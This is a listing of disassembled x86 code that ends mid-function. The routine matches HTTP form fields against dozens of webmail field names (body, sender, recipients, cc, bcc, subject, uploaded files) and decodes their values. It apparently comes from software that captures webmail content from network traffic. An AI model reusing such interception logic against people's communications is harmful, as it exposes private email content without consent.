xor eax, eax
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa0], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push ecx
push edx
push esi
push ebx
push ebp
call fcn.5900d4b0
mov edi, eax
mov eax, dword [0x591638c0]
add esp, 0x18
mov dword [esp + 0x54], edi
mov dword [esp + 0x30], eax
mov byte [esp + 0x16c], 0x1a
mov dword [esp + 0x64], eax
mov byte [esp + 0x16c], 0x1b
mov dword [esp + 0x28], eax
mov byte [esp + 0x16c], 0x1c
mov dword [esp + 0x3c], eax
mov byte [esp + 0x16c], 0x1d
mov dword [esp + 0x44], eax
mov byte [esp + 0x16c], 0x1e
mov dword [esp + 0x40], eax
mov byte [esp + 0x16c], 0x1f
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0xb8]
mov byte [esp + 0x16c], 0x20
call fcn.590acfe0
lea ecx, [esp + 0x148]
mov byte [esp + 0x16c], 0x21
call fcn.590acfe0
lea ecx, [esp + 0x134]
mov byte [esp + 0x16c], 0x22
call fcn.590b4e60
xor eax, eax
mov byte [esp + 0x16c], 0x23
cmp edi, eax
mov dword [esp + 0x110], eax
mov dword [esp + 0x84], eax
je 0x59019496
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x59019496
mov eax, dword [0x591638bc]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push edi
mov byte [esp + 0x178], 0x24
call fcn.5900f6b0
add esp, 0xc
test eax, eax
jne 0x59017aa2
mov edx, dword [esp + 0x70]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xa0]
push eax
push ecx
push edx
jmp 0x59017ad0
mov eax, dword [esp + 0x1c]
push 0x5918a2d4
push eax
push edi
call fcn.5900f7b0
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x59017af7
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xa0]
push ecx
push edx
push eax
push esi
push ebx
push ebp
call fcn.5900d4b0
mov edi, eax
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], edi
mov byte [esp + 0x16c], 0x23
call fcn.590a22e0
jmp 0x5901948e
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
add edi, ecx
mov ecx, dword [esp + 0x1c]
sub ecx, edi
mov dword [esp + 0x18], edi
test ecx, ecx
jg 0x59017b51
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xa0]
push edx
push eax
push ecx
push esi
push ebx
push ebp
call fcn.5900d4b0
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x16c], 0x23
call fcn.590a22e0
jmp 0x5901948a
mov eax, dword [esp + 0x38]
test eax, eax
je 0x59017b8c
mov edx, dword [esp + 0x10]
push str.MailOptions
push edx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59017b8c
mov esi, dword [esp + 0x54]
lea eax, [esi + edi]
test eax, eax
je 0x59017b90
cmp byte [eax], 0x30
jne 0x59017b90
mov dword [esp + 0x84], 1
jmp 0x59017b90
mov esi, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push str.__Click
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov ecx, dword [esp + 0x10]
push str.SYSF_OriginalId
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov edx, dword [esp + 0x10]
push str.chc_pversion
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov eax, dword [esp + 0x10]
push str.chc_sversion
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov ecx, dword [esp + 0x10]
push str.FMS_FORMPART_TICKET
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov edx, dword [esp + 0x10]
push str.FMS_FORMPART_FILEDATA
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59017c2e
mov eax, dword [esp + 0x10]
push str.F_ParentDocId
push eax
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59017c35
inc dword [esp + 0x110]
mov ecx, dword [esp + 0x10]
push 0x5918ab74
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59017e39
mov edx, dword [esp + 0x1c]
add esi, edi
sub edx, edi
lea ecx, [esp + 0x7c]
push edx
push esi
call fcn.590a1d90
mov eax, dword [esp + 0xb0]
mov byte [esp + 0x16c], 0x25
test eax, eax
mov eax, dword [esp + 0x7c]
je 0x59017c94
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017c94
push 0x4e3
push eax
lea ecx, [esp + 0x38]
call fcn.590abac0
jmp 0x59017dfa
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017cb7
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900acb0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x7c]
je 0x59017cd2
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017cd2
push 0xfde9
push eax
lea ecx, [esp + 0x38]
call fcn.590abac0
jmp 0x59017dfa
mov ecx, dword [esp + 0x128]
test ecx, ecx
je 0x59017cf8
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017cf8
push 0xcaed
push eax
lea ecx, [esp + 0x38]
call fcn.590abac0
jmp 0x59017dfa
cmp dword [esp + 0x120], 0x3a8
jne 0x59017d35
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900b070
add esp, 8
test eax, eax
je 0x59017d31
mov edx, dword [esp + 0x7c]
push 0x3a8
push edx
lea ecx, [esp + 0x38]
call fcn.590abac0
jmp 0x59017dfa
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0xa4]
test ecx, ecx
jne 0x59017d58
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900b0d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x7c]
je 0x59017d73
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017d73
push 0x2712
push eax
lea ecx, [esp + 0x38]
call fcn.590abac0
jmp 0x59017dfa
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900ad70
add esp, 8
test eax, eax
mov eax, dword [esp + 0x7c]
je 0x59017df0
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017df0
push 1
push 0
push eax
call fcn.5900ae80
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913e1e0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59017dfa
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x84]
push eax
call fcn.5900ae80
add esp, 0xc
lea ecx, [esp + 0x30]
mov word [esi + ebx*2], 0
push esi
call fcn.590a78e0
push esi
call fcn.5913e209
add esp, 4
jmp 0x59017dfa
push eax
lea ecx, [esp + 0x34]
call fcn.590a79c0
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 8]
test eax, eax
je 0x59017e20
lea edx, [esp + 0x30]
lea ecx, [esp + 0x64]
push edx
call fcn.590a77f0
lea eax, [esp + 0x64]
push eax
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x7c]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov esi, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
push 0x5918ab6c
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push 0x5918ab64
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str.msgbody
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push str.msgtxt
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push str.wbody
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str.emailmessage
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push 0x5918ab34
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push 0x5918ab30
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str.MText
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push str.F_body
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push str.text2
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push 0x5918ab0c
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push str.mailText
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push 0x5918aaf8
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str.kerio_mailBody
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push str.mail_body
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push str.mouldtext
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str.ftxtcon
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push 0x5918aab8
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov edx, dword [esp + 0x10]
push str.textInner
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov eax, dword [esp + 0x10]
push str._message
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018061
mov ecx, dword [esp + 0x10]
push str.TD_HTML_EDITOR_CONTENT
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x5901823d
mov edx, dword [esp + 0x1c]
add esi, edi
sub edx, edi
lea ecx, [esp + 0x78]
push edx
push esi
call fcn.590a1d90
mov eax, dword [esp + 0xb0]
mov byte [esp + 0x16c], 0x26
test eax, eax
mov eax, dword [esp + 0x78]
je 0x590180a6
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590180a6
push 0x4e3
push eax
lea ecx, [esp + 0x30]
call fcn.590abac0
jmp 0x5901820c
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x590180c9
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900acb0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x590180e4
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590180e4
push 0xfde9
push eax
lea ecx, [esp + 0x30]
call fcn.590abac0
jmp 0x5901820c
mov ecx, dword [esp + 0x128]
test ecx, ecx
je 0x5901810a
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901810a
push 0xcaed
push eax
lea ecx, [esp + 0x30]
call fcn.590abac0
jmp 0x5901820c
cmp dword [esp + 0x120], 0x3a8
jne 0x59018147
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900b070
add esp, 8
test eax, eax
je 0x59018143
mov edx, dword [esp + 0x78]
push 0x3a8
push edx
lea ecx, [esp + 0x30]
call fcn.590abac0
jmp 0x5901820c
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0xa4]
test ecx, ecx
jne 0x5901816a
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900b0d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59018185
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018185
push 0x2712
push eax
lea ecx, [esp + 0x30]
call fcn.590abac0
jmp 0x5901820c
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900ad70
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59018202
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018202
push 1
push 0
push eax
call fcn.5900ae80
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913e1e0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5901820c
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x80]
push eax
call fcn.5900ae80
add esp, 0xc
lea ecx, [esp + 0x28]
mov word [esi + ebx*2], 0
push esi
call fcn.590a78e0
push esi
call fcn.5913e209
add esp, 4
jmp 0x5901820c
push eax
lea ecx, [esp + 0x2c]
call fcn.590a79c0
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
je 0x59018224
lea edx, [esp + 0x28]
push edx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x78]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov esi, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0x5918aa80
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov ecx, dword [esp + 0x10]
push str.emailfrom
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov edx, dword [esp + 0x10]
push str.USERID
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov eax, dword [esp + 0x10]
push str.F_from
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov ecx, dword [esp + 0x10]
push str.sender
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov edx, dword [esp + 0x10]
push str.Fromtext
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov eax, dword [esp + 0x10]
push str.sendfrom
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov ecx, dword [esp + 0x10]
push str.defFromAddress
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov edx, dword [esp + 0x10]
push 0x5918aa2c
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov eax, dword [esp + 0x10]
push 0x59189484
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov ecx, dword [esp + 0x10]
push 0x5918aa24
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov edx, dword [esp + 0x10]
push str.kerio_mailFrom
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov eax, dword [esp + 0x10]
push 0x5918aa04
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018395
mov ecx, dword [esp + 0x10]
push str._from
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59018431
mov edx, dword [esp + 0x1c]
lea ebx, [esi + edi]
sub edx, edi
lea ecx, [esp + 0x124]
push edx
push ebx
call fcn.590a1d90
mov ebp, dword [esp + 0x94]
mov byte [esp + 0x16c], 0x27
test ebp, ebp
jne 0x590183d3
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push ebx
call fcn.5900acb0
add esp, 8
test eax, eax
je 0x590183f2
mov eax, dword [esp + 0x124]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590183f9
push 0xfde9
push eax
lea ecx, [esp + 0x28]
call fcn.590abac0
jmp 0x59018403
mov eax, dword [esp + 0x124]
push eax
lea ecx, [esp + 0x24]
call fcn.590a79c0
mov ecx, dword [esp + 0x20]
mov eax, dword [ecx - 8]
test eax, eax
je 0x5901841b
lea edx, [esp + 0x20]
push edx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x124]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
jmp 0x59018438
mov ebp, dword [esp + 0x94]
mov eax, dword [esp + 0x10]
push 0x5918a9f8
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov ecx, dword [esp + 0x10]
push str.rcpt
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov edx, dword [esp + 0x10]
push str.sendto
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov eax, dword [esp + 0x10]
push str.emailto
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov ecx, dword [esp + 0x10]
push 0x5918a9dc
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov edx, dword [esp + 0x10]
push 0x5918a9d8
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov eax, dword [esp + 0x10]
push str.F_to
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov ecx, dword [esp + 0x10]
push str.MailTo
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov edx, dword [esp + 0x10]
push str.recieved
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov eax, dword [esp + 0x10]
push 0x5918a9b8
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov ecx, dword [esp + 0x10]
push str.kerio_mailTo
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov edx, dword [esp + 0x10]
push str.receiver
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov eax, dword [esp + 0x10]
push str.textbox_addressee
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov ecx, dword [esp + 0x10]
push 0x5918a998
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov edx, dword [esp + 0x10]
push 0x5918a994
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x590185c4
mov eax, dword [esp + 0x10]
push str.TO_ID
push eax
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59018657
mov ecx, dword [esp + 0x1c]
lea ebx, [esi + edi]
sub ecx, edi
push ecx
push ebx
lea ecx, [esp + 0x14c]
call fcn.590a1d90
test ebp, ebp
mov byte [esp + 0x16c], 0x28
jne 0x590185fb
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push ebx
call fcn.5900acb0
add esp, 8
test eax, eax
je 0x5901861a
mov eax, dword [esp + 0x144]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018621
push 0xfde9
push eax
lea ecx, [esp + 0x44]
call fcn.590abac0
jmp 0x5901862b
mov eax, dword [esp + 0x144]
push eax
lea ecx, [esp + 0x40]
call fcn.590a79c0
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018643
lea ecx, [esp + 0x3c]
push ecx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x144]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov edx, dword [esp + 0x10]
push 0x5918a988
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov eax, dword [esp + 0x10]
push str.copyto
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov ecx, dword [esp + 0x10]
push str.emailcc
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov edx, dword [esp + 0x10]
push 0x5918a974
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov eax, dword [esp + 0x10]
push str.F_cc
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov ecx, dword [esp + 0x10]
push str.MailCc
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov edx, dword [esp + 0x10]
push str.ccto
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov eax, dword [esp + 0x10]
push 0x5918a958
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov ecx, dword [esp + 0x10]
push str.kerio_mailCc
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov edx, dword [esp + 0x10]
push str.receivercc
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov eax, dword [esp + 0x10]
push str.textbox_copy
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov ecx, dword [esp + 0x10]
push 0x5918a928
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018795
mov edx, dword [esp + 0x10]
push str.COPY_TO_ID
push edx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59018828
mov eax, dword [esp + 0x1c]
lea ebx, [esi + edi]
sub eax, edi
lea ecx, [esp + 0x12c]
push eax
push ebx
call fcn.590a1d90
test ebp, ebp
mov byte [esp + 0x16c], 0x29
jne 0x590187cc
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push ebx
call fcn.5900acb0
add esp, 8
test eax, eax
je 0x590187eb
mov eax, dword [esp + 0x12c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590187f2
push 0xfde9
push eax
lea ecx, [esp + 0x4c]
call fcn.590abac0
jmp 0x590187fc
mov eax, dword [esp + 0x12c]
push eax
lea ecx, [esp + 0x48]
call fcn.590a79c0
mov edx, dword [esp + 0x44]
mov eax, dword [edx - 8]
test eax, eax
je 0x59018814
lea eax, [esp + 0x44]
push eax
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x12c]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov ecx, dword [esp + 0x10]
push 0x5918a918
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov edx, dword [esp + 0x10]
push str.blindcopyto
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov eax, dword [esp + 0x10]
push str.emailbcc
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov ecx, dword [esp + 0x10]
push str.MBCC
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov edx, dword [esp + 0x10]
push str.F_bcc
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov eax, dword [esp + 0x10]
push str.MailBcc
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov ecx, dword [esp + 0x10]
push str.bcto
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov edx, dword [esp + 0x10]
push str.bccx
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov eax, dword [esp + 0x10]
push str.kerio_mailBcc
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov ecx, dword [esp + 0x10]
push str.receiverBcc
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov edx, dword [esp + 0x10]
push str.textbox_secret
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov eax, dword [esp + 0x10]
push str._bcc
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018966
mov ecx, dword [esp + 0x10]
push str.SECRET_TO_ID
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x590189ed
mov edx, dword [esp + 0x1c]
lea ebx, [esi + edi]
sub edx, edi
lea ecx, [esp + 0x6c]
push edx
push ebx
call fcn.590a1d90
test ebp, ebp
mov byte [esp + 0x16c], 0x2a
jne 0x5901899a
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push ebx
call fcn.5900acb0
add esp, 8
test eax, eax
je 0x590189b6
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590189ba
push 0xfde9
push eax
lea ecx, [esp + 0x48]
call fcn.590abac0
jmp 0x590189c4
mov eax, dword [esp + 0x6c]
push eax
lea ecx, [esp + 0x44]
call fcn.590a79c0
mov ecx, dword [esp + 0x40]
mov eax, dword [ecx - 8]
test eax, eax
je 0x590189dc
lea edx, [esp + 0x40]
push edx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x6c]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov eax, dword [esp + 0x10]
push 0x5918a88c
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov ecx, dword [esp + 0x10]
push str.websubject
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov edx, dword [esp + 0x10]
push str.emailsubject
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov eax, dword [esp + 0x10]
push 0x5918a86c
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov ecx, dword [esp + 0x10]
push str.MSubject
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov edx, dword [esp + 0x10]
push str.MailSubject
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov eax, dword [esp + 0x10]
push str.F_subj
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov ecx, dword [esp + 0x10]
push str.mailSubject
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov edx, dword [esp + 0x10]
push str.subj
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov eax, dword [esp + 0x10]
push str.kerio_mailSubject
push eax
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov ecx, dword [esp + 0x10]
push str.textbox_subject
push ecx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov edx, dword [esp + 0x10]
push str._subject
push edx
call fcn.59089b37
add esp, 8
test eax, eax
je 0x59018b2b
mov eax, dword [esp + 0x10]
push str.SUBJECT
push eax
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59018cf2
mov ecx, dword [esp + 0x1c]
add esi, edi
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x88]
call fcn.590a1d90
mov eax, dword [esp + 0xb0]
mov byte [esp + 0x16c], 0x2b
test eax, eax
mov eax, dword [esp + 0x80]
je 0x59018b76
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018b76
push 0x4e3
push eax
lea ecx, [esp + 0x34]
call fcn.590abac0
jmp 0x59018cbe
test ebp, ebp
jne 0x59018b95
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900acb0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x80]
je 0x59018bb0
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018bb0
push 0xfde9
push eax
lea ecx, [esp + 0x34]
call fcn.590abac0
jmp 0x59018cbe
cmp dword [esp + 0x120], 0x3a8
jne 0x59018bf3
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900b070
add esp, 8
test eax, eax
je 0x59018bec
mov ecx, dword [esp + 0x80]
push 0x3a8
push ecx
lea ecx, [esp + 0x34]
call fcn.590abac0
jmp 0x59018cbe
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xa4]
test ecx, ecx
jne 0x59018c19
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900b0d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x80]
je 0x59018c34
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018c34
push 0x2712
push eax
lea ecx, [esp + 0x34]
call fcn.590abac0
jmp 0x59018cbe
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900ad70
add esp, 8
test eax, eax
mov eax, dword [esp + 0x80]
je 0x59018cb4
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018cb4
push 1
push 0
push eax
call fcn.5900ae80
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913e1e0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59018cbe
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x88]
push eax
call fcn.5900ae80
add esp, 0xc
lea ecx, [esp + 0x2c]
mov word [esi + ebx*2], 0
push esi
call fcn.590a78e0
push esi
call fcn.5913e209
add esp, 4
jmp 0x59018cbe
push eax
lea ecx, [esp + 0x30]
call fcn.590a79c0
mov ecx, dword [esp + 0x2c]
mov eax, dword [ecx - 8]
test eax, eax
je 0x59018cd6
lea edx, [esp + 0x2c]
push edx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x80]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov esi, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59018da0
mov eax, dword [esp + 0x10]
push str.hiduploadedfiles
push eax
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x59018da0
mov ecx, dword [esp + 0x1c]
lea ebx, [esi + edi]
sub ecx, edi
push ecx
push ebx
lea ecx, [esp + 0x164]
call fcn.590a1d90
mov edx, dword [esp + 0x1c]
mov byte [esp + 0x16c], 0x2c
sub edx, edi
push edx
push ebx
call fcn.5900acb0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x15c]
je 0x59018d6a
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018d6a
push 0xfde9
push eax
lea ecx, [esp + 0x64]
call fcn.590abac0
jmp 0x59018d74
push eax
lea ecx, [esp + 0x60]
call fcn.590a79c0
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018d8c
